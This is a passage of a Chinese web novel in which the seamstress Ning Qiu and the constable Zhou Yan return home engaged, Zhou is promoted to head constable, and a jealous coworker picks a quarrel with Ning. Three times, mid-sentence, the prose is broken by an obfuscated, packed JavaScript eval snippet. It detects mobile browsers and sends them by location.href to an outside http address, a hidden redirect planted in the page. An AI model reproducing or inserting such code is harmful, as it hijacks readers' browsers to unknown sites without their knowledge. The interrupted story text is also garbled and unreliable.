察觉到有视线落在自己的身上，她疑惑看过去，便见对面的周砚低头喝茶，神色一如往常，并没有在看她，心中疑惑更深了。 思来想去，宁秋脑中突然灵光一闪，生出一个大胆的想法。 她提起茶壶给周母和周砚添茶，问道：“周大哥，昨晚你一直在客栈吗？” “嗯。”周砚抬眼，假装没听出宁秋的试探，神色正经地反问道：“怎么了？” “没什么，就随便问问。”宁秋面不改色，只当自己闲得无聊说句废话找找话题。 周母看看宁秋又看看自家儿子，不知道两人在打什么哑谜，但干坐着不说话确实很无聊，便顺势接话道：“砚哥儿性子闷，不在客栈能去哪？平州有同僚有朋友，喊他出去喝酒他都不情不愿，何况是连熟识都没有的章回县，更不可能出门了。” “秋秋放心。”周母冲宁秋眨眨眼，揶揄道：“婶娘都懂，男人就得看紧点，免得他们出去乱搞。” “娘！”周砚就知他娘嘴里吐不出什么好话，赶忙出声制止，“您老说话不能光靠一张嘴，人与人是不一样的。” 亲事没着落时到处求爷爷告奶奶请人帮忙介绍，回家逮着他就念叨，还说什么娶不上媳妇她死不瞑目。 现在他好不容易定亲，才一天，就当着他的面和未来儿媳妇说些有的没的，换个心思敏感的姑娘，这会儿该怀疑他有过乱搞的前科了，也不知他娘怎么想的，这种时候不是应该多说他的好话吗？ 偶尔坑一坑外人就算了，怎么坑起亲儿子来了？ “哼，我就说男人中存在乱搞的可能性，又不是说你乱搞，你急什么？” 周母面上有一瞬间的不自然，说出去的话如泼出去的水，让她收回是不可能了，只能尽量找补，“秋秋别管他，他那是办差办多了，遇到啥事都爱多想,非要找点蛛丝马迹出来。” 周砚：“......” 宁秋：“......” “好。”宁秋同情的看一眼周砚，也不知说什么好，便敷衍地点点头，算是认可周母的话了。 饭馆厨子做事很麻利，等待一刻钟左右，他们点的四个招牌菜就陆陆续续上桌，色香味俱全，勾的人食指大动，很快就将那点不愉快抛诸脑后，大快朵颐起来。 饭后三人去牙行提交房屋租赁需求，将宅子租赁一事全权委托给牙行，若是有客人确定要租宅子，牙行去信平州，宁秋再抽空回来签契书。 正事办妥，宁秋松了一口气，提议道：“我们章回县蛮多特产，要不要买点回平州送人？” 周母正有此意，立马附和：“我看行，多买一点，我要送老姐妹，你们也能带去绣阁和府衙送人，不管在哪，礼多人不怪，咱们得礼数不能少了。” 于是，三人又上街逛了一圈，采买不少当地的干货特产，才慢悠悠转回宁家收拾行李。 宁宅里值钱的东西差不多都被宁大伯一家嚯嚯干净，有县令大人的判决书在，能扣出来的已经全部扣出来了，宁大伯一家带走的都是些没什么用的东西。 宁秋心里很清楚，那一家子一旦走出这个门，想从他们嘴里再扣别的好处是绝对不可能了。 她没想过也不打算在这种事上过多纠缠，该得的公道县太爷已经给予，事情便到此为止吧！ 第二日辰时，宁秋与周砚母子大包小包扛着行礼往巷口走，遇到巷口闲聊的青花婶她们，又是好一阵告别寒暄。 马行的小伙计已经按照规定赶马车等候在外，一见周砚露面立马迎上来，笑道：“周爷，我家管事让我送马车过来，您看看可还满意？需不需要马夫？” “劳烦你一大早跑一趟，马夫就不必了，我自己赶车。”周砚接过小伙计递来的马鞭，随手摸出几个钱塞过去，客套道：“拿去买酒吃吧！” “多谢周爷。”小伙计没想到还有意外收获，当即拱手行礼，乐呵呵告辞了。 马行的东家姓张，名怀，京城人士，因嫡出一脉有爵位傍身手握实权，连带着旁枝也沾了不少光。 张怀一脉就是旁枝中混得最好的。 他年轻时不顾父母长辈的反对大胆闯关外，凭借自己的聪慧果敢硬是闯出一片天地来。 又因他为人正直守信、讲义气，在关外结识了不少人脉，生意随之一步步扩大，慢慢做起马匹的生意。 周砚从军那几年有幸成为大将军近卫中的一员，与张怀打过交道，马行的信物就是张怀亲手赠予他的。 前两年听闻京城张家嫡支从中周旋，张怀的马行得了皇商的名头，分行越开越多。 一开始，平州分行的管事告知章回县也开有分行时，周砚很是诧异，暗暗感叹张怀厉害，生意遍布全国不说，已经细致到小县城去了。 如今自家需要用到马匹马车，租赁归还都很方便。 “也就老槐巷道路窄不通马车，家里条件也有限，不然买一辆马车日常用，你俩出门上工也能轻松点。” 出一趟远门，周母不知道感慨多少回了，还时不时拿已故周父说事，怪他命太短，早早撒手人寰，留下孤儿寡母艰难生活。 “若是砚哥儿他爹争气点，多活十年八年，凭借他的手艺，咱们家的生活能富裕许多，不至于让你们日日辛苦走那么远的路，砚哥儿也不用过那刀口舔血的差事。” 说到这，周母好一阵心酸，激动落泪，宁秋怎么劝都没用。 都说当兵保家卫国有大功德，饷银高，在衙门当差威风受人尊敬，但是作为一个母亲，她心疼儿子流 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15726514|171183||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 血受罪，心疼儿子辛苦，如果可以，她情愿儿子平平安安留在她的身边，哪怕庸庸碌碌一辈子。 马车门没关，周砚赶车的同时也分心聆听周母与宁秋的对话，心里难受又很无奈。 “这个混小子，当初我不同意他从军还跟我闹脾气，倔的像头驴，还好平安回来了，不然我下半辈子也不活了。” “娘，您少说两句吧！”周砚回头看一眼，“我不是回来了吗？事情过去那么久，该翻篇就翻篇，过好当下最重要。” “呸！” 周砚不劝还好，一劝周母又不淡定了。 “你还好意思说，当初不让你从军死活不听，拼死拼活攒下军功，还在大将军面前露了脸，好好的前程你不要，非得回平州做个小小捕快。” “那大好的前途啊！留在大将军身边谋个一官半职不好吗？非得回来，还瞒着我，若非裴公子说漏嘴，我至今还被瞒在鼓里，早知道前途光明，我说什么也要劝住你。” 周母恨铁不成钢，拉着宁秋一个劲吐槽，心里有遗憾，有自豪，也有对儿子的愧疚，觉得是自己的存在拖累了儿子。 宁秋静静听着，心中五味杂陈，复杂的眼神静静望着周砚宽厚的后背，陷入沉思。 她一个小老百姓每日为生计忙活，最高也就能接触到平州的知府大人，什么将军侯爷，那都是遥不可及的大人物，别说跟他们扯上关系了，就是见一面这辈子恐怕都没有机会。 今日之前，她觉得两家家世属于门当户对，周砚是捕快，她阿爹是秀才，她还有一门赚钱的手艺，他们是差不多的人。 然而今时今日她突然了解到周砚更隐秘的过往，没想到他是如此厉害的人，能给大将军做近卫，还救过大将军立下不小的军功。 这些都是宁秋有限的见识里难以想象的场景。 周砚这么厉害会不会有一日会离开平州继续奔赴他的前程？ 她没有娘家，只是个普通绣娘，周砚以前在大将军身边做事，去过帝王所在的京城，肯定见过许多优秀的姑娘，他真的会喜欢她吗？ 都说达官显贵三妻四妾乃正常之事，周砚往后有更好的前程，会不会也纳几个妾？会不会将她一脚踹了，重新取个端庄贤良的大小姐？ 宁秋攥紧了拳头，心里莫名生出一丝不安，脑海中有无数种念头升腾而起，不断蚕食她的理智。 她一边否定自己的假设，一边生出无尽的担忧，难以自洽。 周母见宁秋神色不对，忙问道：“秋秋，秋秋，你怎么了？可是有哪里不舒服？” 周砚听到周母的问话眉间一蹙，当即勒停了马车，也回头看向宁秋，眼神中有询问有关切。 “没，没事啊！就是有点累了。”宁秋扯出一个牵强的笑，敷衍地回答，小心翼翼避开了周砚的目光。 “没事就好，再走半个时辰就到平州了，你再忍一忍，实在太累可以靠婶娘身上歇一歇，到家再喊你。” 周母没瞧出什么问题，以为她真的只是累了，安慰一句不再多言。 倒是周砚深深看了宁秋一眼，敏锐地察觉出不对劲，但一时间也没有头绪。 他坐回原位，马鞭一甩，马车又慢慢走动起来。 37. 喜讯 剩余的路程三人都很沉默，宁秋也在马车小幅度的摇晃下缓缓闭上双眼。 平州的冬天要比章回县冷一些，酉时一过，街上走动的人大多缩着脖子行色匆匆，想早点回家吃口热乎的。 马车摇摇晃晃不知过了多久，车外传来周砚一声“吁”，车子缓缓停在老槐巷巷口。 “到了。”周砚提醒道。 “哎哟，一把老骨头真是受不住，以后我还是老老实实呆家里，哪也不去，外头的事有你们小两口张罗就足够了。” 周母碎碎念，一下马车先伸展腿脚缓和一下自己的疲惫，再招呼周砚搬行李，“别愣着了，赶紧搬行李回家，一会儿还要去车行还车，再耽搁下去，天都要黑了。” 周砚一听周母的抱怨，没忍住说了一句实话：“出发前就不同意您跟着，是您非要去。” “婚姻大事没个长辈在身边怎么行？我那是不放心你，怕你疏忽慢待了秋秋。”周母白了儿子一眼，“少废话，赶紧搬行李，磨磨唧唧浪费时间。” 说着，她的目光转向宁秋，脸色瞬间发生变化，笑道：“秋秋啊！你也休息一会儿，行李让砚哥儿卸就行，他牛高马大，干点活算不得什么。” 宁秋犹豫道：“那么多东西一个人卸，不好吧？” “没什么不好，你听阿娘的。”周砚一把握住宁秋蠢蠢欲动的手，拒绝了她想要帮忙的心。 他话说到这个份上了，宁秋没必要再推拒，大大方方接受他的体贴，与周母一起坐在老槐树下看他一个人忙忙碌碌。 这会儿正是各家下工的时辰，邻居们陆陆续续回到家，路过巷口纷纷和周砚母子打招呼，光周砚卸行礼的功夫周母已经跟好几拨邻居寒暄一遍了。 一个个问东问西，关心这关心那，周母半都笑盈盈真半假地回话，着重透露宁秋已经与周砚定亲了，在她的不懈努力下，一个晚上的时间，整条巷子的住户都知道了二人的婚讯。 婚期定在来年三月初九，有喜事自然少不得分发喜糖。 翌日天一亮，周母就按捺不住自己心里的激动挨家挨户发喜糖，去两个老姐妹家报喜时，还特意各带一份章回县的特产，将宁秋夸得天花乱坠。 “哎呦，秋秋那孩子就是孝顺，她知道我有你们两个老姐妹心里一直惦记着，这不，昨儿给她爹娘上坟回城，非要上街逛一圈，说要买点特产回来孝敬你们，让你们也尝尝鲜。” “喏，腊肉腊肠，还有喜饼干菜。”周母将两份沉甸甸的特产分别递给王翠英和张春兰，继续道：“腊肉腊肠香得很，滋滋冒油，可以直接炒着吃，也能和其他菜一块焖，都好吃。” 平州当地人过年过节也会做腊肉，但平州的腊肉以烟熏为主，章回县的腊肉则是腌制风干，加的香料配方也不一样。 王翠英和张春兰都乐呵呵收下了。 张春兰道：“难为秋秋还惦记我们，好孩子，你替我们好好谢谢她。” “是啊，得好好谢谢她的细心周到，桂花啊，还是你有福气，希望我家陈安也争气点，给我娶个和秋秋一样乖巧孝顺的好儿媳。” 王翠英语气里满是羡慕，周砚一定亲，她心里也开始惦记起儿子的婚事来，叮嘱两个老姐妹道：“你俩的儿媳妇已经有着落了，我家陈安还跟个孩子似的，一点也不着急，你俩得闲也帮我注意些，有好姑娘帮忙介绍一下，媒人钱不会少你们的。” “放心，我们心里记挂着呢！” 周母和张春兰对视一眼，都了然地笑了。 周母释然道：“之前我总为孩子的婚事着急上火，偏偏砚哥儿还不配合，现在想想是自己着相犯傻了，儿孙自有儿孙福，这种事还真急不得，缘分没到，着急上火也是枉然，非要强制凑一对，两人过不到一出也是怨偶，跟巷尾那一家一样，日子也没必要过下去了。” “是啊是啊！”张春兰附和，“你家陈安性子活泛人品好，那张嘴甜得很，好话张嘴就来，很多姑娘喜欢这样的男子，你就放心吧！” 王翠英一向开明，儿子从小到大只要是学好的、有用的东西，不管想学什么她都会支持鼓励，长大后从事什么职业，只要能养活他自己养活未来的小家，她也不掺和。 方才不过是话赶话感慨一句，情绪消退就过去了，没想到两个老姐妹当真了，开始同她讲大道理。 她心下好笑，啧啧两声揶揄道：“孩子们没着落时，你俩一个比一个着急，怎么说都不听，现在儿媳妇有了，立马变脸，开始嫌我管的多了，真是善变的女人。” 话落，三人你看看我，我看看你，都没忍住哈哈大笑起来。 金绣阁这边，宁秋上工先找陈管事销假，手里还提着两份喜糖和腊肉，一份给陈管事，一份给铺子掌柜。 掌柜收到东西很高兴，连连给宁秋道喜，简单寒暄两句客套话就忙碌去了， 相比之下，陈管事对宁秋则上心多了。 她喜欢乖巧懂感恩又努力的小姑娘，也心疼宁秋的遭遇，平日里不免心软多照顾几分。 现在听宁秋说已经定亲了，她忙关切问道：“怎么突然就定亲了，哪家后生？” “老槐巷周家的周砚，他是个捕快，先前帮过我很多次，一来二往就......”看对眼了。 宁秋害羞，未尽之言陈管事听懂了，面上神情舒缓很多。 她继续问：“捕快好，有出息，他家可还有别的长辈？聘礼之类的有没有按规矩给你？” “嗯，都按规矩来，当着我爹娘的牌位过了礼，聘金也往高的给，邻家婶娘代行长辈之责，还请了老家同巷子街坊观礼，都很妥帖。” 谈及自己的婚事，宁秋脸颊染上粉色，说话格外认真郑重，生怕陈管事误会似的。 陈管事见状心下好笑，柔声叮嘱她珍惜来之不易的幸福，遇到问题两个人有商有量，日子才会越过越好。 宁秋皆一一应承下来，同陈管事道谢后，便离开陈管事的办公间，准备回二级绣娘的绣房。 陈管事的办公间连接一级绣娘的绣房，往来都要路过。 宁秋做一级绣娘的时候并不受同绣房其他绣娘的待见，有陈红菊从中搅和，就算有绣娘对她没意见，也最多见面点点头，关系并不好。 是以，宁秋并不打算停留，也没必要跟她们分享自己的喜讯，工友罢了，大家伙互不干扰就很好。 她想的很透彻，并严格执行自己的决定，偏偏有些人和她八字不合，见面总要阴阳怪气刺她几句，即便挨骂挨警告也死性 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15737238|171183||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不改。 “有些人一请假就是好几日，占着茅坑不拉屎，不知道的，还以为被掌柜开除了呢！”陈红菊的眼神一个劲盯着宁秋，借着与隔壁绣娘说话的机会暗暗嘲讽宁秋，声音很大，绣房里的绣娘们都听见了。 众人反应各异，有幸灾乐祸的，有目不斜视继续认真做工的，也有保持中立乐得看热闹的。 宁秋听见了也全当没听见，头也不回继续朝门口走。 陈红菊的本意就是找茬，好不容易逮到宁秋奚落一番，可没那么容易放弃，见宁秋不理她，便起身阻拦，下巴微抬，毫不客气问道：“听说你跟早上送你上工的捕快定亲了？” 宁秋不语，只定定看着陈红菊。 “是就是，不是就不是，有什么不好承认的？小家子气，上不得台面。” 陈红菊嗤笑，语气里满是不屑，下一瞬，刻薄的话脱口而出，纷纷引起绣房所有绣娘的注意，“该不会是使了什么见不得人的手段上位吧？不然人家那么好的条件怎么会看上你一个破落户？” “那又怎样？”宁秋反问，不由轻笑。 她用略带轻佻的眼神将陈红菊上上下下打量一遍，面上很快露出嫌弃神色，仿佛在看一个无理取闹的跳梁小丑，随即她目光一转，唇角一勾，绕开陈红菊施施然离开。 明明什么后话都没有，可她的眼神仿佛诉尽她对陈红菊所有的看法。 这一刻，绣房中落针可闻，众人面面相觑。 陈红菊呆愣在原地，本就敏感的神经瞬间被点燃，她破防了！ “小贱蹄子，你不准走，什么意思给我说清楚。” “没什么意思，你觉得是什么意思就什么意思吧！我没意见。” 宁秋背对着大家摆摆手，一句拗口的应答直接将陈红菊的情绪推至最高峰，没等陈红菊作出反应，她身影很快消失在门口。 “啊啊啊啊啊！宁秋你个贱人。” 陈红菊后知后觉反应过来，顿时怒气上头，连铺子里的规矩都忘了，不管不顾在绣房中大喊大叫，若非身边的绣娘死死拉住她，她恐怕已经冲出去找宁秋拼命了。 这边的动静实在太大，惊扰了办公间内的陈管事，她不悦地板起脸，房间门吱呀打开，四下瞬静，她饱含怒气的声音传遍整个绣房。 “陈红菊，这里不是你家，闹什么闹，能干就干，不能干就滚蛋。” 闻言，陈红菊的脸刷一下白了，“陈管事，我......我......都怪宁秋。” “一天天就你事多，看到谁都要嚼两句舌根，不说别人闲话你会死啊！自己的错不承认还推到别人头上，严重违反铺子里的规矩，罚月银五百文，再有下次，你不用来了。” 陈管事对外的形象一向是严厉且温和，即便有绣娘犯错，她也只是板着脸指出，要求整改，不会说那些伤人自尊的话。 今日她是气急了，陈红菊自进入绣阁以来没少惹事，警告好几次也没有改正，她对她的耐心终究还是用尽了。 “是。” 陈红菊撅起嘴巴一脸不服气，甚至觉得自己委屈极了，但碍于陈管事的威压不敢再造次。 宁秋回到二级绣娘绣房中，听到隔壁动静的工友们纷纷投来询问的目光。 38. 晋升 大家不问出口，宁秋只当自己没看懂，若无其事地分享自己的婚讯，分发喜糖，接受众人的祝福。 午间吃饭的时候，崔婉莹到底没克制住自己的好奇心压低声音询问宁秋发生了什么事。 “那么大声，我估计整个绣阁的人都听见了，说说看，你怎么得罪那个疯婆子了？” “我可没有得罪她。”宁秋扒拉完最后一口饭，含糊不清道：“是她看我不顺眼处处找我的茬，喏，人又来了。” 宁秋下巴一抬，很是无奈，崔婉莹顺着她的视线望过去，果然看见陈红菊满脸愤恨地瞪着她们，好像她们是什么十恶不赦的坏人，恨不得下一瞬就冲上来跟她们拼命。 “我去，她是不是有病，至于吗？”崔婉莹浮夸地拍了拍自己的胸脯，装出一脸后怕的表情，“那吃人的表情吓本姑娘一大跳。” “习惯就好。”宁秋淡淡回了一句。 以她对陈红菊短暂的了解，那人并不是肯吃亏的主，现在干瞪眼迟迟不过来找事，乖的不像话，定是被陈管事或者掌柜训斥警告了，也不知这次能消停多久。 宁秋轻笑，不认为狗能改掉吃屎的习惯，但能够让自己活得短暂的平静也很不错了。 “哼，也就你好性子，换作我一天也忍不了。” 崔婉莹将最后一口饭咽下，没好气道：“不瞒你说，小时候我家条件不太好，当时就住在陈红菊家隔壁，她比我大两岁，大人们总让我们一块玩，但她实在太讨厌了，经常骂我抢我的东西，我气不过跟爹娘告状，他们便教育我要大大方方，别那么小气，我真服了，这是大方小气的问题嘛？” “天知道我过的是什么日子，蛮横不讲理的陈红菊都要成我小时候的噩梦了。” 说起往事，崔婉莹义愤填膺，那表情神态很是夸张，连形象都不顾及了，由此可见儿时的她被陈红菊荼毒不轻。 “还好我爹争气，一步步往上爬，终于成了东家身边的得力干将，挣的钱越来越多，在我九岁那年终于攒够钱买新宅子，我也终于摆脱了那疯婆子。” 宁秋没想到崔婉莹和陈红菊竟然从小就认识，很是惊讶，听完崔婉莹的话后，她沉默了，同情的眼神看向她，心中隐隐还有些庆幸。 相比崔婉莹小小年纪就要承受陈红菊的摧残，宁秋觉得自己被排挤骂几句已经算轻了。 好歹是个大人，承受能力强，对方实在太过分还能反驳回去，她不好过对方也别想舒坦。 姐妹俩把控好时间，吃饱饭稍坐片刻又匆匆回绣房继续干活了。 宁秋的效率一如既往的高，没到下工时辰她便完成自己的任务了。 考虑到已经定亲，后续婚礼和养娃需要很多银子，她想了想，决定继续留在绣房做私活，等下工时辰到了再回去。 家里有周母在，她身体没有大问题，会关注时辰准备晚饭，宁秋是否提前回去现在已经不重要了。 这般想着，宁秋也这么做了。 她埋头细心干活，不知不觉间一个时辰过去了，下工锣鼓敲响，整个金绣阁瞬间热闹起来。 宁秋捏了捏发酸的脖颈，麻利地收拾自己的东西，布包往背上一甩，哼着小曲下楼，准备回家。 掌柜正在盘点今日的账目，见宁秋下来，揶揄笑道：“宁丫头，你今天怎么这个点才忙完，有个俊俏后生在外面等你好一会儿了，你去看看是不是跟你定亲那位？” “男子的话应该就是他了，除了他，我不认识其他男子。” 宁秋俏脸一红，扭捏地回答掌柜的问题，脚步随着她雀跃的心情瞬间加快了，连其他工友和她打招呼也顾不得多说。 崔婉莹今日比宁秋早一炷香下工，回到家才发现自己的针线包忘记拿了，她只得费劲扒拉重新回铺子拿。 她家距离金绣阁不算远，走路一刻钟左右能到，人还没走到门口，就见宁秋笑容满面的从铺子里小跑出来，顿时眼前一亮。 “秋......” 她张口正要打招呼，便见宁秋目标明确，直接忽略不远处的她朝大路边跑去，已到喉咙口的呼唤戛然而止。 崔婉莹一脸错愕，顺着小姐妹跑动的方向看过去，就见路边站着一个身着捕快服饰的高大男子，他面容冷肃，手中握着大刀，凌厉的眼神总在不经意间扫过往来的路人，让人心生敬畏，不自觉回避。 然而下一瞬，男人冷肃的神情如冬日暖阳瞬间化开。 “啧啧，大白天闻到情情爱爱的酸臭味了。” 崔婉莹嘿嘿一笑，不再看宁秋他们，着急忙慌进铺子拿自己的针线包，生怕晚一步铺子关门了。 另一边，宁秋小跑过来稳稳停在周砚的面前，仰头笑问：“周大哥，你今日怎么有空来接我？” “衙门安排的差事在主街附近，我办完事顺路过来问一嘴，掌柜说你还没回家，便稍稍等一下。” 周砚一边解释一边抬手自然而然揪住宁秋散落的头发，将其别到她的耳后。 “原来如此。”宁秋点点头，“早知道你要过来，我便不在铺子待那么久了。” 周砚过来本就是顺带的事，不想宁秋记挂打乱她自己的节奏，便道：“无妨，等一下也不耽误什么，我们先回家，冬日天黑的快，太晚阿娘该担心了。” “好。” 周砚左右看看，确认没人关注他俩便悄悄牵起宁秋的手，一本正经地说道：“你手太凉了，我给你暖暖。” “嗯？” 宁秋一愣，反应过来后缓缓低下了头。 她动了动被握住的手，男人立马加重手下力道，让她想动也动不了了。 “有个好消息。”周砚目不斜视朝前看，嘴角不自觉勾起，感受到手心柔软的温度，心中微微荡漾，“大人正式下发告令升我为捕头了，以后手下管二十人。” 府衙在编捕快六十人，二十人为一组，设立捕头一人。 周砚所在组的捕头一个月前犯事被曝出来，已经抓进大牢被判三年，空出来的位置大家伙都盯着，各显神通。 经过综合考核，周砚文比武比都更胜一筹，知府大人很满意，好事便落到他的头上了。 “真的？周大哥，你好厉害啊！” 宁秋毫不吝啬对周砚的夸赞，整个人都变得兴奋起来，一个劲询问竞争的细节，周砚描述一段她便夸一句，双眸发亮，看得出她极满意及其开怀。 周砚在她的声声夸赞中逐渐放大笑容，正乐着，就听宁秋突然沉了语 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15742591|171183||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 气，笑容也慢慢收敛了。 她的反应很不对劲，欲言又止，周砚的心也随之上下起伏，开始思索自己是不是说错了什么。 “怎么了？”他问。 “没大事，就是我突然想到一个问题。” 宁秋停下脚步与周砚面对面，抬头认真问道：“你做捕快时都忙得不行，有时候外出一趟好几天甚至半个月都不见人影，现在晋升为捕头，责任大任务重，岂不是更忙碌了？” 周砚没想到宁秋会纠结这种问题，以为是小姑娘担心太忙影响感情，想了想，安慰她道：“不一定，得看情况，以后手下有二十人可以使唤，没准会比之前闲，你莫想太多，我……我有时间一定回家陪你。” “呸，谁要你陪，我自己也很忙好不好？”宁秋嗔怪地瞪他一眼，欲盖弥彰地回话，然后吭哧吭哧继续往前面走。 她没看周砚的反应，小动作一个接一个，显得自己很忙，又不知道在忙什么。 片刻后，身旁的男人闷笑出声，用哄小孩的语气低声说道：“好好好，秋秋很忙没空搭理我，是我担心离家太久会想你，舍不得你才找借口，怪我，都怪我。” “啊啊啊！” 宁秋闻言瞪大了双眼无声呐喊，第一反应是观察四周，看看有没有听见他不要脸的肉麻话，确认无人听见，她才悠悠松了一口气。 “天爷啊！你胡说什么？” 这一下她不装了，直接挣脱自己的手几拳头“狠狠”捶在周砚的胸膛，羞恼道：“还在大街上，也不怕别人听见笑话我们，你真烦人，不准再说这种话了，受不了你。” “我们说我们的，他们听他们的。”周砚抓住姑娘在他胸膛作乱的手，不以为意道：“别人想听我也没办法，两口子之间说说情话很正常啊！谁家夫妻不说两句情话？” “那也不行，我们还没成两口子呢！”宁秋别过脸哼哼两声，似乎是生气了，“你得听我的，不然以后别来接我了，我自己能回去。” 周砚不赞同却还是应承了，他怕自己不同意，宁秋真的会暴走几天不理他。 “好，都听你的，以后我悄悄说。” “你惯会抠字眼。” 宁秋满意了，二人间的紧张气氛缓缓消退，想到方才上纲上线的对话，他们不约而同对视一眼，都笑了。 回到周家，周母一听儿子晋升捕头一事终于落实，高兴地合不拢嘴，赶忙叮嘱周砚道：“天大的好消息，砚哥儿，你脚程快，趁天还没完全黑，赶紧去小菜市看看剩没剩卤味，买点回来，要全肉的。” 周砚不想去，又拗不过亲娘，还是宁秋提议陪他一块去，他才痛快应下了。 不过，他见宁秋面露疲惫，心疼她做了一天绣活，还是拒绝陪同，一个人快去快回。 晚饭四菜一汤，一家三口好好庆祝一番，总觉得日子越过越有盼头了。 周砚晋升捕头一事并没有刻意瞒着，一日过去，消息便如风吹过，整条巷子的人都知道了。 心思活泛的人纷纷上门贺喜，试图跟周家人打好关系，以后遇到事情有个帮衬。 人来了一趟又一趟，成日在家的周母不堪其扰，每天天没亮就跟周砚他们一块出门，中饭晚饭再回家。 39. 双喜 几天下来，大家伙都明白自己的行为对周家人来说是一种打扰，慢慢就消停了。 只有几个看不懂眼色脸皮还厚的人依旧不死心，实在太烦，周母便将话挑明，脸皮再厚的人也不好意思继续打扰了。 因前捕头入狱没能好好交接，小组负责的案子、公务落到周砚手中时宛如一团乱麻，各类大事小事被迫积压，迟迟没能解决。 为了尽快上手，周砚连续宿在府衙五六日，白天干，晚上也干到半夜才睡，如此辛苦才勉强将大部分事情理顺。 一道道任务经他手分配下去，底下的捕快重新有了主心骨，一个个斗志昂扬，做事都变得积极起来。 慢慢的，周砚手下人的办事风格逐渐朝他的雷厉风行靠拢，这支小队也在未来一跃成为平州知府提升政绩的有力先锋队。 …… 这日傍晚，周砚将最新整理出来的文书呈给上司，简单汇报自己接手捕头后忙碌几日的成果。 “好小子，你办事向来妥帖，好好干，不过需注意职权变化，如今升了捕头，要学会用人，莫要像先前那样只知道一个人埋头苦干。” “是，多谢六叔提点。”周砚谦逊听教，不管对方所言有没有用都先应承。 总捕头也姓周，年近四十，往上数几代与周砚还有亲缘关系，是个小毛病很多但坚守原则的大叔。 二人一块朝府衙大门走，总捕头拍拍周砚的肩膀，笑道：“定了亲以后就是有家室的人了，需要分一部分精力在家庭上，我听陈淮说你这几日都在衙门住？” 周砚回道：“嗯，时间紧任务重，早点理清楚我也能安心些。” “也是，刚坐上这个位置，背地里还有不少人盯着就等你犯错，你的做法是对，只是要注意把握好度。” 总捕头顿了顿，侧头打量周砚，“你的能力有目共睹不必给自己太大压力，这几日辛苦了，回去看看你娘和未来媳妇吧！” 提及家人，周砚柔和了神色，露出浅淡的笑容，应道：“好，六叔的话我都记下了。” 府衙门口分别，周砚目送总捕头远去，正要动身回家，就见不远处的马车下来一个人，长身玉立，往那一站，满身富贵气让人想忽略都难。 “阿砚，这里！” 周砚闻声看过去，对面的人身着紫色棉服，金玉满身，乃是自己许久不见的好友裴华丰，他没有犹豫，直接走了过去。 “我等你许久，若非门口的捕快说你还没离开，我都要去你家堵人了，怎的这个时辰才出来？” 裴华丰前两日刚回平州，料理完家中生意便迫不及待过来找周砚了，许久不见，他怪想念这个好友的。 “职权有变动，最近会忙一些，你怎么过来了？” 周砚一副公事公办的模样，眼神随意一扫，略过裴华丰一身浮夸的打扮，默默低下了头。 与裴华丰相识那么久，他依旧无法欣赏对方的审美。 “想你就过来了，怎么样？惊喜吗？” 裴华丰龇着一口大白牙，话里话外很是不着调，见周砚眼神不善，忙改口道：“行了，别用那种眼神看我，不逗你了。我听闻你双喜临门特来祝贺，好兄弟，赏脸一块吃个饭呗。” 周砚推开裴华丰试图勾肩搭背的手，嫌弃的眼神扫过去，直接拒绝了他的邀约，说道：“多谢，但是今天就算了，我几日没回家，今晚再不回去阿娘要骂人了，改日吧！” 裴华丰闻言有些失望，不过他这人一向乐观，被拒绝也没觉得有什么，脑子一转，当即啧啧两声，调侃周砚道：“有家室的人果然不一样了，才几日不回就巴巴赶回去，兄弟都不要了，以前我怎么没发现你如此恋家，也罢，周捕头如今身份不一样了，不肯赏脸也很正常，我能理解。” “你好好说话。” 周砚很是无奈，“明日或者后日，天香楼，到时候我带秋秋一块过去。” “行，那就明晚吧！” 裴华丰也不是那种磨磨唧唧的人，直接拍板最近的日子。 他其实还有一个问题想问周砚，但又觉得问题太过冒昧了，犹犹豫豫，半晌儿也没问出口。 周砚此时归心似箭，看出好友的纠结，直言问道：“还有事吗？没事我回去了。” “那么急？”裴华丰正经了神色，想想出门前妹妹的叮嘱，他还是选择冒昧一次，问道：“阿砚，婚姻大事非儿戏，你真的想清楚了吗？玉儿她……” “华丰。” 没等裴华丰说完一句话，周砚就直接出声打断了。 他的面色严肃几分，郑重地说道：“你知我性子，你我两家家世悬殊，我非裴姑娘的良配，裴姑娘也非我的良缘，秋秋是个很好的姑娘，等你见到她就明白了，我很喜欢她，有些玩笑往后莫要开了。” 裴华丰神色一滞，面子上有些挂不住。 “华丰，我不想失去你这个兄弟。”周砚补充道。 “我明白了。”裴华丰呼出一口气，将话说开后，他感觉自己的心境也松快很多，笑道：“你当我没说过那些话，明晚一定要带嫂子过来，双喜临门，该好好庆祝庆祝。” “好。” 周砚半举右臂，裴华丰会意也伸手过来，二人双手交握碰了碰肩膀，相视一笑。 